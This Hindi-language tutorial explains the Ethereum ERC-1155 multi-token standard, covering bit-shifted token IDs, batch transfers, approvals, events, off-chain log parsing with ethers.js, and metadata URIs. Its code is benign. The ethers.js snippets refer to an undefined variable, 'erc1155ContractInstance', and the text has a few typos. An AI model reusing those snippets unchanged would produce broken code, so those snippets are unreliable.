ERC-1155 स्टैंडर्ड यह बताता है कि कैसे फंजिबल (fungible) और नॉन-फंजिबल (non-fungible) दोनों टोकन बनाए जाएं और फिर उन्हें एक ही स्मार्ट कॉन्ट्रैक्ट में शामिल किया जाए। जब कई टोकन शामिल होते हैं, तो यह महत्वपूर्ण डिप्लॉयमेंट लागत (deployment costs) बचाता है।
कल्पना करें कि आप एक गेम डेवलपर हैं जो अपने प्लेटफॉर्म में NFTs और ERC-20 टोकन को शामिल करने का प्रयास कर रहे हैं, जो जूते, तलवारें, टोपियां और इन-गेम करेंसी जैसे विभिन्न प्रकार के एसेट्स का प्रतिनिधित्व करते हैं।
ERC-721 और ERC-20 जैसे स्टैंडर्ड्स का उपयोग करने के लिए आपको कई टोकन कॉन्ट्रैक्ट्स विकसित करने होंगे, NFTs और ERC-20s के प्रत्येक कलेक्शन के लिए एक। उन सभी कॉन्ट्रैक्ट्स को डिप्लॉय करना महंगा होगा।
क्या यह सुविधाजनक नहीं होगा यदि आप एक ही कॉन्ट्रैक्ट के भीतर सभी NFT एसेट्स और टोकन को परिभाषित और प्रबंधित कर सकें? तब, आप एक ही बार में कई NFTs को अप्रूव या ट्रांसफर करने के लिए एक तंत्र (mechanism) भी बना सकते हैं।
यही यूज़-केस कारण है कि Enjin, जो एक NFT और गेमिंग डेवलपमेंट संस्था है, ने Ethereum की Github रिपॉजिटरी में ERC-1155 मल्टी टोकन स्टैंडर्ड का पहला प्रस्ताव प्रस्तुत किया। 17 जून 2018 को, Enjin के ERC-1155 टोकन स्टैंडर्ड को आधिकारिक तौर पर Ethereum Foundation द्वारा अपनाया गया था।
ERC-1155 के मुख्य फीचर्स
मल्टीपल टोकन प्रकारों को हैंडल करना: फंजिबल और नॉन-फंजिबल
एक ही कॉन्ट्रैक्ट के भीतर कई प्रकार के टोकन (फंजिबल और/या नॉन-फंजिबल) को समायोजित करने के लिए, एक ERC-1155 इम्प्लीमेंटेशन को एक यूनिक uint256 टोकन आईडी का उपयोग करके प्रत्येक टोकन प्रकार को अलग करना चाहिए। यह कॉन्ट्रैक्ट्स को प्रत्येक टोकन के लिए टोटल सप्लाई, URI, नाम, सिंबल आदि जैसे विशिष्ट एट्रिब्यूट्स (attributes) परिभाषित करने की अनुमति देता है और यह सुनिश्चित करता है कि प्रत्येक टोकन का कॉन्फ़िगरेशन एक दूसरे से अलग और स्वतंत्र रहे।
यहाँ ERC-1155 टोकन आईडी स्ट्रक्चर का एक उदाहरण दिया गया है:
- Token ID: 0
- Token ID: 1
- Token ID: 2
- …
टोकन आईडी का अनुक्रमिक (sequential) होना आवश्यक नहीं है। उन्हें बस यूनिक होना चाहिए। यह स्टैंडर्ड यह नहीं बताता है कि टोकन आईडी कैसे बनाई जानी चाहिए, इसलिए “mint” फ़ंक्शन स्पेसिफिकेशन का हिस्सा नहीं है।
फंजिबिलिटी की परिभाषा
यहाँ फंजिबल और नॉन-फंजिबल टोकन की परिभाषाएँ दी गई हैं; ERC-1155 दोनों का समर्थन करता है।
-
Fungible (फंजिबल)
ये वे टोकन हैं जो एक दूसरे के समान होते हैं, जैसे करेंसी की इकाइयाँ। ERC-1155 में एक फंजिबल टोकन सेट को परिभाषित करने के लिए, आप बस एक दिए गए टोकन आईडी के लिए कई टोकन मिंट करेंगे।
जब प्रत्येक टोकन समान आईडी साझा करता है, तो उनका नाम और सिंबल भी समान होगा। इससे टोकन उसी तरह काम कर सकेगा जैसे एक ERC-20 करता है क्योंकि इसमें कई इकाइयाँ होंगी जो समान नाम और सिंबल के तहत एक दूसरे के समान होंगी। ERC-20 के विपरीत, फंजिबल टोकन की मात्रा को दर्शाने के लिए कोई डेसीमल्स (decimals) नहीं होते हैं। सभी फंजिबल टोकन बैलेंस को पूर्ण इकाइयों (whole units) में प्रस्तुत किया जाता है।
-
Non-Fungible (नॉन-फंजिबल)
ERC-1155 में नॉन-फंजिबल टोकन (NFTs) यूनिक टोकन होते हैं, जिनमें से प्रत्येक एक दूसरे से अलग होता है। इन्हें प्रत्येक यूनिक आइटम को अपना स्वयं का टोकन आईडी देकर दर्शाया जाता है, जो एक यूनिक
uint256वैल्यू है।
एक ERC-1155 में कई नॉन-फंजिबल टोकन कैसे डालें
एक ही ERC-1155 कॉन्ट्रैक्ट के भीतर कई NFT कलेक्शन्स का प्रबंधन करते समय, रैंडम यूनिक टोकन आईडी असाइन करने से यह पहचानना चुनौतीपूर्ण हो सकता है कि कोई विशेष टोकन आईडी किस कलेक्शन का है।
इस समस्या के समाधान के लिए, एक तरीका टोकन आईडी को इस तरह से स्ट्रक्चर करना है कि आईडी में कलेक्शन और व्यक्तिगत आइटम दोनों की जानकारी एन्कोड हो: हम बस दोनों नंबरों को एक साथ जोड़ (concatenate) देते हैं, और संयोजन द्वारा बनी संख्या ही आईडी होती है।
यहाँ बताया गया है कि यह कैसे किया जाता है:
हम uint256 टोकन आईडी को दो भागों में विभाजित करते हैं:
- collection ID: एक विशिष्ट कलेक्शन का प्रतिनिधित्व करने के लिए टोकन आईडी के ऊपरी बिट्स (सबसे महत्वपूर्ण 128 बिट्स)।
- item ID: उस कलेक्शन के भीतर एक व्यक्तिगत आइटम का प्रतिनिधित्व करने के लिए निचले बिट्स (सबसे कम महत्वपूर्ण 128 बिट्स)।
यह स्कीम हमें आसानी से पहचानने में सक्षम बनाती है कि टोकन आईडी किस कलेक्शन का है, और यह उस कलेक्शन के भीतर कौन सा आइटम है। इस एन्कोडिंग का उपयोग करके सभी नॉन-फंजिबल टोकन एक-दूसरे से अलग होंगे।
निम्नलिखित छवि टोकन आईडी को कलेक्शन आईडी (X वैल्यूज़) और आइटम आईडी (Y वैल्यूज़) में विभाजित दिखाती है:

एक ही uint256 टोकन आईडी में कलेक्शन और आइटम की जानकारी एन्कोड करने के लिए, हम बिट-शिफ्टिंग और एडिशन ऑपरेशन का उपयोग कर सकते हैं।
बिट-शिफ्टिंग (Bit-Shifting)
बिट-शिफ्टिंग एक बिट सीक्वेंस की शुरुआत या अंत में शून्य बिट्स जोड़ने की प्रक्रिया है, जो मूल रूप से मौजूदा बिट्स को बाईं ओर (Solidity ऑपरेशन <<) या दाईं ओर (>>) शिफ्ट करती है।
बिट-शिफ्टिंग द्वारा, हम 256 बिट नंबर के सबसे महत्वपूर्ण 128 बिट्स में 128-बिट नंबर को “इन्जेक्ट (inject)” कर सकते हैं। डिफ़ॉल्ट रूप से, यदि हम 128-बिट नंबर को 256-बिट नंबर में कास्ट करते हैं, तो 128 बिट नंबर सबसे कम महत्वपूर्ण 128 बिट्स पर होगा।
इस 256-बिट (या 32 बाइट्स) वैल्यू पर विचार करें जो डेसीमल नंबर 2 का प्रतिनिधित्व करती है, जिसे 128 बिट्स (या 16 बाइट्स) द्वारा बाईं ओर शिफ्ट किया गया है:
डेसीमल वैल्यू 2 को 128 बिट्स (2 << 128) बाईं ओर शिफ्ट करने के बाद, हमें नई डेसीमल वैल्यू 680564733841876926926749214863536422912 या हेक्स (hex) में 0x0000000000000000000000000000000200000000000000000000000000000000 मिलती है।
इस बिट-शिफ्टिंग तकनीक का उपयोग करते हुए, हम सबसे कम महत्वपूर्ण 128 बिट्स को शून्य से पैड (pad) करने में सक्षम हैं। चूंकि NFT IDs को uint256 प्रकार के रूप में स्टोर किया जाता है, इसलिए हम item id को shifted collection id में जोड़ सकते हैं। इसे स्पष्ट करने के लिए नीचे एक सरल सूत्र दिया गया है:
uint256 token_ID = shifted_collection_id + individual_token_id
निम्नलिखित एनिमेशन दिखाता है कि पर्दे के पीछे शिफ्टिंग और एडिशन ऑपरेशन्स कैसे होते हैं:
इस परिदृश्य (scenario) की कल्पना करें, एक ERC-1155 कॉन्ट्रैक्ट में दो अलग-अलग नॉन-फंजिबल टोकन कलेक्शन्स हैं: CoolPhotos और RareSkills, जिनके collectionID क्रमशः 1 और 2 हैं। यदि Bob यह जाँचना चाहता है कि क्या वह RareSkills कलेक्शन के itemID 7 वाले आइटम का मालिक है, तो इस जाँच के लिए उपयोग की जाने वाली वैध टोकन आईडी collectionID और itemID का संयोजन होगी:
जहाँ नारंगी (orange) बिट्स RareSkills कलेक्शन आईडी का प्रतिनिधित्व करते हैं और हरे (green) बिट्स कलेक्शन के itemID का प्रतिनिधित्व करते हैं।
यहाँ बताया गया है कि उपरोक्त उदाहरण से ERC-1155 कॉन्ट्रैक्ट किसी दिए गए टोकन आईडी के लिए अकाउंट बैलेंस को कैसे स्टोर और प्राप्त कर सकता है:
// Nested mapping to store balances
// tokenID => owner => balance
mapping(uint256 => mapping(address => uint256)) balances;
// Retrieves the balance of a specific token ID for an address
function balanceOf(address owner, uint256 tokenid) public view returns (uint256) {
return balances[tokenid][owner];
}
उपरोक्त कोड का उपयोग करके, Bob अपने ओनरशिप (ownership) की जांच करने के लिए टोकन आईडी (2 << 128) + 7 के साथ balanceOf फ़ंक्शन को कॉल कर सकता है:
uint256 rareSkillsTokenCollectionID = 2 << 128; // collection id is 2
uint256 rsNFT = 7; // item id
// Returns 1 if Bob owns the tokenid passed, else, 0
uint256 bobBalance = balanceOf(
address(Bob),
rareSkillsTokenCollectionID + rsNFT // (2 << 128) + 7
);
यदि bobBalance = 1 है, तो Bob RareSkills कलेक्शन के itemID 7 वाले आइटम का मालिक है। यह महत्वपूर्ण है कि कॉन्ट्रैक्ट यह सुनिश्चित करे कि इस टोकन की कुल आपूर्ति 1 से अधिक नहीं हो सकती, अन्यथा टोकन नॉन-फंजिबल के बजाय फंजिबल बन जाएगा।
हमने पहले विशिष्ट रूप से टोकन आईडी की गणना करने के लिए बिट-शिफ्टिंग विधि का उपयोग करने पर चर्चा की थी। इस प्रक्रिया को उलटने (reverse) और tokenId से collectionId और itemId प्राप्त करने के लिए, हम collectionId प्राप्त करने के लिए tokenId को दाईं ओर 128 बिट्स शिफ्ट करते हैं और itemId प्राप्त करने के लिए tokenId को 128 बिट्स में कास्ट करते हैं।
गणना करने के तरीके पर नीचे एक उदाहरण कोड दिया गया है:
- NFT कलेक्शन आईडी और itemId दिए जाने पर ERC-1155 टोकन आईडी की गणना।
- ERC-1555 टोकन आईडी दिए जाने पर कलेक्शन आईडी और आइटम आईडी की गणना।
contract A {
// 1. COMPUTE TOKEN ID
function getTokenId(
uint256 collectionId,
uint256 itemId
) public pure returns (bytes32 tokenId) {
// shift the collection id by 128 to the left
uint256 shiftedCollectionId = collectionId << 128;
// add the item id to the shifted collection id
tokenId = bytes32(shiftedCollectionId + itemId);
}
// 2. GET COLLECTION ID AND ITEM ID
function getCollectionIdAndItemId(
uint256 tokenId
) public pure returns (uint256 collectionId, uint256 itemId) {
// shift the token id to the right by 128
collectionId = tokenId >> 128;
// cast the token id to 128
itemId = uint128(tokenId);
}
}
Remix से स्क्रीनशॉट दोनों फ़ंक्शन्स के लिए टेस्ट किए जा रहे कोड को दिखाता है:

स्ट्रक्चर्ड टोकन आईडी तकनीक ERC1155 के साथ मल्टीपल नॉन-फंजिबल टोकन को लागू करने का एक तरीका है, क्योंकि स्टैंडर्ड यह निर्दिष्ट नहीं करता है कि यह कैसे किया जाना चाहिए। हालाँकि, ERC1155 का एक इम्प्लीमेंटेशन है जिसे ERC1155D कहा जाता है, जो नॉन-फंजिबल टोकन को मिंट करने के लिए गैस एफिशिएंसी को ऑप्टिमाइज़ करने के लिए मूल स्टैंडर्ड का एक इटरेशन (iteration) है, यदि कॉन्ट्रैक्ट को केवल एक ही NFT कलेक्शन को सपोर्ट करने की आवश्यकता है।
ERC-1155D
ERC-1155D विशेष रूप से नॉन-फंजिबल टोकन (ERC-721 के समान) के लिए डिज़ाइन किया गया है जहाँ प्रत्येक टोकन का एक यूनिक आइडेंटिफायर और एक यूनिक ओनर होता है। यह पूरी तरह से बैकवर्ड कम्पैटिबल है और ERC-1155 के अनुरूप है।
ERC1155D का उपयोग कब करें?
ERC1155D का उपयोग तब करें जब आपको अपने कॉन्ट्रैक्ट में कई नॉन-फंजिबल टोकन कलेक्शन्स (जैसे CoolPhotos RareSkills उदाहरण के साथ) की आवश्यकता न हो, और साथ ही यह भी लागू करना हो कि टोकन की सप्लाई एक हो और अधिकतम एक ओनर हो।
संक्षेप में, सभी टोकन को टोकन आईडी के लिए uint256 वैल्यू का उपयोग करके एक ही कॉन्ट्रैक्ट के तहत प्रबंधित किया जाता है। हालाँकि, विशिष्ट टोकन आईडी को विभिन्न प्रकार के टोकन में कैसे असाइन किया जाता है, यह पूरी तरह से कॉन्ट्रैक्ट के यूज़ केस पर निर्भर करता है।
कोर ERC1155 फ़ंक्शन्स
ये ERC1155 इंटरफेस में ऐसे फ़ंक्शन्स हैं जिन्हें ERC1155 स्टैंडर्ड को लागू करने वाले कॉन्ट्रैक्ट्स द्वारा इम्प्लीमेंट किया जाना चाहिए। प्रत्येक फ़ंक्शन का कोड स्निपेट स्टैंडर्ड के स्पेसिफिकेशन से लिया गया है।
बैलेंस की पुनर्प्राप्ति (Balance Retrieval)
-
balanceOf
ERC-721 में,
balanceOf(address _owner)टोकन आईडी के पूरे कलेक्शन के लिए एड्रेस बैलेंस लौटाता है। इसलिए यदि किसी एड्रेस के पास टोकन 1, 5 और 7 हैं, तो उस एड्रेस के लिएbalanceOf(address _owner)3लौटाएगा।हालाँकि, ERC-1155 में,
balanceOfफ़ंक्शन इस तरह से स्ट्रक्चर किया गया है कि यह किसी विशेष अकाउंट एड्रेस के लिए विशिष्ट टोकन आईडी का टोकन बैलेंस प्राप्त करता है।/** @notice Get the balance of an account's tokens. @param _owner The address of the token holder @param _id ID of the token @return The _owner's balance of the token type requested */ function balanceOf(address _owner,uint256 _id) external view returns (uint256);एक एड्रेस विभिन्न टोकन आईडी की अलग-अलग मात्रा रख सकता है, जैसे टोकन आईडी 1 की एक इकाई, टोकन आईडी 5 की बीस इकाइयाँ और इसी तरह। हालाँकि, ERC-1155 कॉन्ट्रैक्ट के भीतर सभी टोकन आईडी में किसी एड्रेस के पास मौजूद टोकन की कुल संख्या को मापने का कोई सीधा तरीका नहीं है, क्योंकि
balanceOfफ़ंक्शन को केवल यह जांचने के लिए डिज़ाइन किया गया है कि आपके पास किसी विशेष tokenID की कितनी मात्रा है न कि पूरे कॉन्ट्रैक्ट में आपके पास कितने tokenIDs हैं। -
balanceOfBatch
एक बैच मैकेनिज्म भी मौजूद है जिसे
balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)कहा जाता है। यह विधि एक लूप मेंbalanceOfको कॉल करके एक ही बार में प्रति आईडी प्रति एड्रेस कई बैलेंस प्राप्त करती है।/** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the tokens @return The _owner's balance of the token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch( address[] calldata _owners, uint256[] calldata _ids ) external view returns (uint256[] memory);ERC-1155 सभी मौजूदा टोकन आईडी को सूचीबद्ध करने के लिए किसी मैकेनिज्म का समर्थन नहीं करता है।
1155 कॉन्ट्रैक्ट के सभी मौजूदा IDs प्राप्त करने के लिए, हमें ऑफ चेन लॉग्स को पार्स करना होगा (हम बाद में दिखाएंगे कि यह कैसे करना है)।
सभी के लिए अप्रूवल (Approval For All)
ERC-1155 एक ओनर (owner) को अपने setApprovalForAll(address _operator, bool _approved) मेथड को कॉल करके एक ही ट्रांजैक्शन में सभी आईडी में अपने सभी टोकन प्रबंधित करने के लिए ऑपरेटर को अप्रूवल (अनुमोदन) देने की अनुमति देता है। यह फ़ंक्शन एक ऑपरेटर का address और अप्रूवल स्थिति को दर्शाने वाला bool पैरामीटर के रूप में लेता है:
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator,bool _approved) external;
ध्यान रखें कि यह मेथड ERC-1155 कॉन्ट्रैक्ट में यूजर के पास मौजूद हर चीज़ को حرفی रूप से अप्रूव कर देता है। यह ERC-20 के लिए अधिकतम अप्रूवल सेट करने और ERC-721 के लिए setApprovalForAll को कॉल करने जैसा है। ऑपरेटर द्वारा ERC-1155 कॉन्ट्रैक्ट में ओनर के किसी भी टोकन को किसी भी मात्रा में ट्रांसफर किया जा सकता है।
सुरक्षित ट्रांसफर (Safe Transfers)
ERC-721 पैटर्न का पालन करते हुए, ERC-1155 में “सुरक्षित ट्रांसफर” मैकेनिज्म भी मौजूद है, जो यह सुनिश्चित करने के लिए जांचता है कि टोकन का प्राप्तकर्ता (recipient) एक वैध रिसीवर है। वास्तव में, ERC-1155 केबल सुरक्षित ट्रांसफर्स का ही समर्थन करता है।
-
safeTransferFrom
/** @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;यदि प्राप्तकर्ता एक EOA है, तो
safeTransferFromयह जांचता है कि एड्रेस जीरो एड्रेस नहीं है। यदि प्राप्तकर्ता एक स्मार्ट कॉन्ट्रैक्ट है तो यहonERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data)कॉलबैक फ़ंक्शन को कॉल करेगा और मैजिक वैल्यूbytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))के वापस आने की उम्मीद करेगा।एक ERC-1155 टोकन को ऐसे स्मार्ट कॉन्ट्रैक्ट में ट्रांसफर नहीं किया जा सकता है जो
onERC1155Receivedको लागू नहीं करता है याonERC1155Receivedको गलत तरीके से लागू करता है। -
safeBatchTransferFrom
/** @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;इसके अलावा, स्टैंडर्ड ओनर्स और ऑपरेटर्स को बैच ट्रांसफर निष्पादित करने की अनुमति देता है। एक ही ट्रांजैक्शन में सोर्स एड्रेस से डेस्टिनेशन एड्रेस तक टोकन के कई सेट ट्रांसफर किए जा सकते हैं।
बैच ट्रांसफर इन्हें कॉल करके किया जा सकता है:
safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data),- जो रिसीवर पर
onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)कॉलबैक को कॉल करेगा- और मैजिक वैल्यू
bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))की उम्मीद करेगा।
- और मैजिक वैल्यू
- जो रिसीवर पर
SafeTransferFrom बनाम SafeBatchTransferFrom
OpenZeppelin के ERC1155 के इम्प्लीमेंटेशन का उपयोग करते हुए, नीचे दी गई इमेज
safeTransferFromको तीन बार कॉल करने और एक ही ट्रांजैक्शन में ट्रांसफर्स को बैच करने के गैस उपयोग की तुलना करती है:
safeBatchTransferFrom का उपयोग करने पर, जैसा कि लाल बॉक्स में देखा जा सकता है, 132,437 गैस की खपत होती है, जो नीले बॉक्स में दिखाए गए तीन अलग-अलग safeTransferFrom कॉल्स के लिए उपयोग की जाने वाली 189,861 गैस से काफी कम है।
कोर डेटा स्ट्रक्चर्स
ERC-1155 इम्प्लीमेंटेशन्स आमतौर पर उपरोक्त बैलेंस, अप्रूवल्स और URIs जैसे कोर डेटा की स्थिति को बनाए रखने के लिए मैपिंग (mappings) का उपयोग करते हैं। उदाहरण के लिए, एक ERC-1155 निम्नलिखित स्टोरेज वेरिएबल्स का उपयोग कर सकता है:
mapping(uint256 id => mapping(address account => uint256 balance)) internal _balances;
mapping(address account => mapping(address operator => bool isApproved)) internal _operatorApprovals;
string private _uri;
आइए निम्नलिखित अनुभागों में इनमें से प्रत्येक डेटा स्ट्रक्चर की जाँच करें।
बैलेंसेस (Balances)
बैलेंसेस को दो स्तरों (levels) के साथ नेस्टेड मैपिंग (nested mapping) में स्टोर किया जाता है। बाहरी मैपिंग में एक की (key) होती है जो एक token ID का प्रतिनिधित्व करती है जो address (owner) से _balances की एक और मैपिंग को पॉइंट करती है।
इस स्ट्रक्चर के तहत किसी दिए गए टोकन के लिए अकाउंट का बैलेंस लौटाने के लिए, एक balanceOf इम्प्लीमेंटेशन इस प्रकार वैल्यू तक पहुंचेगा:
function balanceOf(address account, uint256 id) public view returns (uint256) {
return _balances[id][account];
}
अप्रूवल्स (Approvals)
इसी तरह, अप्रूवल्स को नेस्टेड मैपिंग में रखा जाता है क्योंकि एक अकाउंट कई ऑपरेटर्स को अप्रूवल दे सकता है। बाहरी मैपिंग की की (key) ओनर होती है जो ऑपरेटर्स को उनकी अप्रूवल स्थिति की मैपिंग की ओर पॉइंट करती है।
अप्रूवल स्थिति तक पहुँचने वाले isApprovedForAll फ़ंक्शन के इस उदाहरण इम्प्लीमेंटेशन पर विचार करें:
function isApprovedForAll(address account, address operator) public view returns (bool) {
return _operatorApprovals[account][operator];
}
लॉगिंग और इवेंट्स (Logging and Events)
ERC-1155 स्टैंडर्ड गारंटी देता है कि स्मार्ट कॉन्ट्रैक्ट द्वारा उत्सर्जित (emitted) इवेंट लॉग्स को देखकर सभी मौजूदा टोकन बैलेंस का सटीक रिकॉर्ड बनाया जा सकता है क्योंकि हर टोकन मिंट, बर्न और ट्रांसफर को लॉग किया जाता है।
उन परिदृश्यों (scenarios) की सूची नीचे दी गई है जिनमें एक इवेंट उत्सर्जित होना चाहिए:
-
जब कोई एड्रेस अपने सभी टोकन प्रबंधित करने के लिए किसी अन्य एड्रेस को ऑपरेटर अप्रूवल देता है या रद्द (revoke) करता है, तो
ApprovalForAllइवेंट उत्सर्जित होना चाहिए:event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); -
जब टोकन को एक एड्रेस से दूसरे एड्रेस में ट्रांसफर किया जाता है, जिसमें मिंटिंग और बर्निंग शामिल है, तो
TransferSingleयाTransferBatchइवेंट उत्सर्जित होना चाहिए।// Emits when a single token is transferred event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); // Emits when a batch of tokens is transferred event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);यदि
safeBatchTransferFromफ़ंक्शन को सिंगल tokenID के साथ कॉल किया जाता है, तोTransferSingleइवेंट उत्सर्जित होता है, अन्यथा,TransferBatchइवेंट उत्सर्जित होता है। -
यदि किसी विशिष्ट टोकन आईडी के लिए मेटाडेटा URI बदलता है, तो
URIइवेंट उत्सर्जित होना चाहिए:event URI(string _value, uint256 indexed _id);
इन इवेंट्स के लॉग/उत्सर्जित होने पर जब भी इनसे जुड़ा फ़ंक्शन कॉल किया जाता है, हम JavaScript में ऑफ-चेन निम्नलिखित जानकारी प्राप्त कर सकते हैं:
-
1155 कॉन्ट्रैक्ट के मौजूदा टोकन IDs:
नीचे दिया गया कोड एक ERC-1155 कॉन्ट्रैक्ट के साथ इंटरेक्ट करने और एक निर्दिष्ट ब्लॉक रेंज के भीतर
TransferSingleऔरTransferBatchइवेंट्स में उत्सर्जित सभी टोकन IDs की सूची प्राप्त करने के लिए ethers.js लाइब्रेरी का उपयोग करता है।import { ethers } from "ethers"; // v6 // Connect to an Ethereum provider const provider = new ethers.JsonRpcProvider("rpc-url"); // ERC-1155 contract address and ABI const erc1155ContractAddress = "YourContractAddress"; const abi = [ /* ERC-1155 ABI here */ "event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value)", "event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values)", ]; const contract = new ethers.Contract(erc1155ContractAddress, abi, provider); (async (startBlockNumber) => { // Fetch `TransferSingle` and `TransferBatch` events const singleEvents = await erc1155ContractInstance.queryFilter( "TransferSingle", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const batchEvents = await erc1155ContractInstance.queryFilter( "TransferBatch", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const tokenIds = new Set(); // Get token IDs from TransferSingle events singleEvents.forEach((event) => { // Destructure the `args` field const { operator, from, to, id, value } = event.args; // Add `id` to the `tokenIds` set tokenIds.add(id); }); // Get token IDs from TransferBatch events batchEvents.forEach((event) => { // Destructure the `args` field const { operator, from, to, ids, values } = event.args; // Loop through `ids` then add `id` to the `tokenIds` set ids.forEach((id) => tokenIds.add(id.toString())); }); console.log("Token IDs in existence:", Array.from(tokenIds)); })(); -
उपयोगकर्ता के पास मौजूद सभी टोकन IDs:
नीचे दिया गया कोड एक उपयोगकर्ता के स्वामित्व वाले सभी IDs को सूचीबद्ध करता है। यह उस एड्रेस पर
toऔरfromट्रांसफर इवेंट्स को ट्रैक करके ऐसा करता है। सटीकता के लिए,startBlockNumberको उस एड्रेस के शुरुआती इंटरेक्शन से पहले सेट करने की आवश्यकता होती है।async function getUserTokenIds(userAddress, startBlockNumber) { const singleEvents = await erc1155ContractInstance.queryFilter('TransferSingle', startBlockNumber, startBlockNumber + 100000); const batchEvents = await erc1155ContractInstance.queryFilter('TransferBatch', startBlockNumber, startBlockNumber + 100000); const balances = {}; // Process TransferSingle events singleEvents.forEach(event => { const { operator, from, to, id, value } = event.args; if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + parseInt(value.toString()); } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - parseInt(value.toString()); } }); // Process TransferBatch events batchEvents.forEach(event => { const { operator, from, to, ids, values } = event.args; ids.forEach((id, index) => { const value = parseInt(values[index].toString()); if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + value; } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - value; } }); }); // Filter out IDs with a balance greater than zero const ownedTokenIds = Object.keys(balances).filter(id => balances[id] > 0); console.log(ownedTokenIds); }
यूनिफॉर्म रिसोर्स आइडेंटिफायर्स (URIs)
ERC-1155 में केवल एक uri फ़ंक्शन होता है, जैसा कि स्टैंडर्ड में निर्दिष्ट है। स्टैंडर्ड यह नहीं बताता है कि uri फ़ंक्शन को टोकन आईडी का उपयोग करना चाहिए या उसे अनदेखा करना चाहिए। uri को कैसे प्राप्त किया जाता है यह कॉन्ट्रैक्ट के इम्प्लीमेंटेशन पर निर्भर करता है। उदाहरण के लिए, यदि कॉन्ट्रैक्ट इम्प्लीमेंटेशन के लिए एक साझा URI की आवश्यकता है, तो हम आईडी को अनदेखा कर सकते हैं और केवल बेस uri _uri वापस कर सकते हैं, अन्यथा, हम टोकन आईडी और बेस uri दोनों को एन्कोड कर सकते हैं।
टोकन IDs के लिए Shared URI के इम्प्लीमेंटेशन का एक उदाहरण:
string private _uri;
function uri(uint256 /* id */) public view virtual returns (string memory) {
return _uri;
}
उपरोक्त uri फ़ंक्शन टोकन आईडी को अनदेखा करते हुए हमेशा समान URI लौटाएगा।
प्रत्येक टोकन ID के लिए Unique URI के इम्प्लीमेंटेशन का एक उदाहरण:
यदि हम टोकन आईडी के आधार पर लौटाई गई स्ट्रिंग को बदलना चाहते हैं, तो Strings लाइब्रेरी उपयोगी होगी, लेकिन यह Solidity के लिए मूल (native) नहीं है बल्कि OpenZeppelin Strings library का हिस्सा है। नीचे दिए गए उदाहरण इम्प्लीमेंटेशन में, इसका उपयोग एक tokenID को, जो एक uint256 है, Solidity स्ट्रिंग के रूप में एन्कोड किए गए हेक्साडेसिमल नंबर में बदलने के लिए किया जाता है।
नीचे इसका एक उदाहरण दिया गया है कि Strings लाइब्रेरी का उपयोग करके ID के आधार पर URI को कैसे बदला जाए:
import "@openzeppelin/contracts/utils/Strings.sol";
string private _uri;
function uri(uint256 id) public view virtual returns (string memory) {
return string(abi.encodePacked(
_uri,
Strings.toHexString(id, 32), // Convert tokenId to hex with fixed length
".json"
));
}
uri फ़ंक्शन बेस URI में पास किए गए टोकन आईडी को जोड़कर प्रत्येक टोकन के लिए एक यूनिक URI लौटाता है। उदाहरण के लिए, यदि बेस URI https://token-cdn-domain/ है, तो टोकन आईडी 314592 (हेक्स में, 0x4CCE0) के साथ फ़ंक्शन को कॉल करने पर https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json वापस आएगा।
स्टैंडर्ड के अनुसार यह आवश्यक है कि क्लाइंट {id} पैरामीटर (यदि मौजूद है) को टोकन के वास्तविक आईडी के हेक्साडेसिमल स्ट्रिंग प्रतिनिधित्व से बदलें। प्रतिस्थापित (substituted) स्ट्रिंग लोअरकेस अल्फ़ान्यूमेरिक (lowercase alphanumeric) होनी चाहिए: [0-9a-f] बिना किसी “0x” उपसर्ग (prefix) के और यदि आवश्यक हो तो 64 हेक्स वर्णों की लंबाई तक लीडिंग जीरो पैडेड (leading zero padded) होनी चाहिए।
टोकन आईडी प्रतिस्थापन दृष्टिकोण (substitution approach) पास किए गए टोकन आईडी को बेस uri में जोड़कर टोकन के बड़े कलेक्शन्स के लिए यूनिक URIs स्टोर करने के लिए आवश्यक ओवरहेड (overhead) को कम करता है।
URIs कैसे स्ट्रक्चर्ड होते हैं
स्टैंडर्ड के लिए यह आवश्यक नहीं है कि ERC-1155 टोकन के साथ URI मेटाडेटा जुड़ा होना चाहिए। हालाँकि, यदि ERC-1155 इम्प्लीमेंटेशन कॉन्ट्रैक्ट्स किसी टोकन के URI को परिभाषित करते हैं, तो इसे एक JSON फ़ाइल की ओर पॉइंट करना चाहिए जो “ERC-1155 Metadata URI JSON Schema” के अनुरूप हो।
